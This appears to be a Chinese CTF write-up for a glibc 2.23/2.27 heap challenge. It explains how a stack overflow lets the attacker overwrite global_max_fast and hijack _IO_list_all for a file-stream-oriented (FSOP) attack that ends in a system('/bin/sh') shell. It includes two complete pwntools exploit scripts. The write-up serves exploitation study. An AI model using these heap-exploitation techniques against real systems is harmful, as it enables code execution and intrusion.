在github上找的一道libc2.23环境下的global_max_fast + fsop的题。
在buu上这道题变成了libc2.27,在fsop部分稍有不同,这里为了强调思路,我就主要讨论原题,也就是libc2.23的环境了。
buu上的exp也会给出来
分析
提供了3个功能,create,delete和login。在create的时候会puts堆块的内容,这里是可以leak出libc和heap基址的。但是没有溢出,delete也没有问题。
问题就出在login这个功能里面,
一开始问了你的name,以__int64类型的方式存到了qword_6020B0,然后又问了type,将对应type的字符串存到了v4所指向的qword_6020B0+0x8处。
但是name这个位置实际上是存在栈溢出的,可以覆盖v4的值,导致我们可以实现一次将0x6E696D6461或者0x6C65746E65696C63写到任意地址(v4+0x8)。
在glibc里,fastbin会接受的最大size是一个叫global_max_fast的全局变量控制的,默认情况为0x80,小于等于该大小的chunk在free掉之后会被放进fastbin。
1 2 3 4 5 6 7
| typedef struct malloc_chunk *mfastbinptr;
mfastbinptr fastbinsY[ NFASTBINS ]; */
|
fastbin的索引有如下计算方式:
1 2 3 4 5 6
| #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[ idx ])
#define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
所以,如果将global_max_fast改成一个较大的值,那么很有可能会造成fastbinsY这个数组的越界,将某一处于他之后的值改成一个堆上的地址。
这里很容易想到,可以把_IO_list_all给劫持下来,在堆上直接伪造一个 _IO_FILE_plus和vtable,然后后面create堆块时,一定会触发fastbin的报错,从而打出来malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow这条链子,然后getshell。
我这里浅算了一波chunksize,让这个chunk被free的时候,能把它的地址写到_IO_list_all里
后面就是简单的fsop了,没什么好说的。
libc2.23的fsop控制好_IO_FILE里面 _IO_write_ptr > _IO_write_base 以及 _mode <= 0就好了。
我这里getshell用的是system(‘/bin/sh\x00’),应该也是可以直接写one_gadget的。
exp on libc-2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * context(os='linux', arch='amd64', log_level='debug') elf = ELF('./pwn.test') libc = ELF('./libc-2.23.so') p = process('./pwn.test')
def choice(idx): p.recvuntil('exit\n') p.sendline(str(idx))
def create(sz, content): choice(1) p.recvuntil('size\n') p.sendline(str(sz)) p.recvuntil('note\n') p.sendline(content)
def delete(idx): choice(2) p.recvuntil('id:\n') p.sendline(str(idx))
def login(name, type): choice(3) p.recvuntil('name\n') p.send(name) p.recvuntil('type\n') p.sendline(str(type))
create(0x98, 'AAAAAAAA') create(0x98, 'BBBBBBBB') delete(0) create(0x98, 'AAAAAAAA') p.recvuntil('AAAAAAAA') libc_info = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) libcbase = libc_info - 0x3c4b78 global_max_fast = libcbase + 0x3c67f8 sys = libcbase + libc.symbols['system'] print(hex(libcbase)) print(hex(global_max_fast))
create(0x400, 'AAAAAAAA') create(0x400, 'CCCCCCCC') pay = b'a'*0x90 + b'/bin/sh\x00' create(0x98, pay) delete(2) delete(3) create(0x400, b'A'*0x10) p.recvuntil('AAAAAAAAAAAAAAAA') heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000 print(hex(heapbase))
fsop = p64(0)*3 + p64(1) fsop = fsop.ljust(0xc8, b'\x00') fsop += p64(heapbase+0xae0) fsop += p64(0)*3 + p64(sys) create(0x1400, fsop)
pay = b'A'*8 + p64(global_max_fast-0x8) login(pay, 1) delete(3)
choice(1) p.recvuntil('size\n') p.sendline(str(0x100))
p.interactive()
|
exp on libc-2.27
(我这里leak libcbase和heapbase是利用的tcachebin和unsortedbin,getshell打的是_IO_str_jumps -> _IO_str_finish)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context(os='linux', arch='amd64', log_level='debug') elf = ELF('./pwn') libc = ELF('./libc-2.27.so') p = process('./pwn')
def choice(idx): p.recvuntil('exit\n') p.sendline(str(idx))
def create(sz, content): choice(1) p.recvuntil('size\n') p.sendline(str(sz)) p.recvuntil('note\n') p.sendline(content)
def delete(idx): choice(2) p.recvuntil('id:\n') p.sendline(str(idx))
def login(name, type): choice(3) p.recvuntil('name\n') p.send(name) p.recvuntil('type\n') p.sendline(str(type))
for i in range(9): create(0x98, 'AAAAAAAA') for i in range(8): delete(i)
create(0x98, '') p.recvuntil('is\n') heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) & 0xfffffffffffff000 create(0x98, '/bin/sh\x00') for i in range(6): create(0x98, 'AAAAAAAA') p.recvuntil('AAAAAAAA') libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3ebca0 global_max_fast = libcbase + 0x3ed940 sys = libcbase + libc.symbols['system'] print(hex(heapbase)) print(hex(libcbase)) print(hex(global_max_fast)) print(hex(sys))
def get_IO_str_jumps(): io_file_jumps_offset = libc.symbols['_IO_file_jumps'] io_str_underflow_offset = libc.symbols['_IO_str_underflow'] for temp in libc.search(p64(io_str_underflow_offset)): io_str_jumps = temp-0x20 if io_str_jumps > io_file_jumps_offset: return (libcbase+io_str_jumps)
io_str_jumps = get_IO_str_jumps() str_binsh = heapbase + 0x580 print(hex(io_str_jumps)) print(hex(str_binsh))
''' fsop = p64(0)*3 fsop += p64((str_binsh-100)//2+1) fsop += p64(0)*2 fsop += p64((str_binsh-100)//2) fsop = fsop.ljust(0x98, b'\x00') fsop += p64(2) + p64(3) + p64(0) fsop += p64(0xffffffff) '''
fsop = p64(0)*3 + p64(1) fsop += p64(0) + p64(str_binsh) fsop = fsop.ljust(0xc8, b'\x00') fsop += p64(io_str_jumps-0x8) fsop += p64(0) + p64(sys) create(0x1430, fsop)
pay = b'a'*0x8 + p64(global_max_fast-0x8) login(pay, 1) delete(9)
choice(4)
p.interactive()
|